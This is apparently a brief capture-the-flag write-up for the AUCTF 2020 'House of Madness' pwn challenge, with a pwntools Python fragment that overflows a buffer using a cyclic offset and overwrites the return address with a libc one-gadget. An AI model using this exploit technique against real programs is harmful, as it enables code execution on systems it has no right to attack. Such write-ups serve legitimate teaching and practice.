using one gadget is easy to solve this pwn

```python
# gadget
og_off = 0x3ac3c
og = libc+og_off

offset = cyclic_find('haaa')
payload = cyclic(offset)
payload += p32(og)
payload += p32(0)*100 # fill stack with '\x00'
```

[Details](http://note.taqini.space/#/ctf/AUCTF-2020/?id=house-of-madness)

Original writeup (http://taqini.space/2020/04/05/AUCTF-2020-pwn-wp/#House-of-Madness).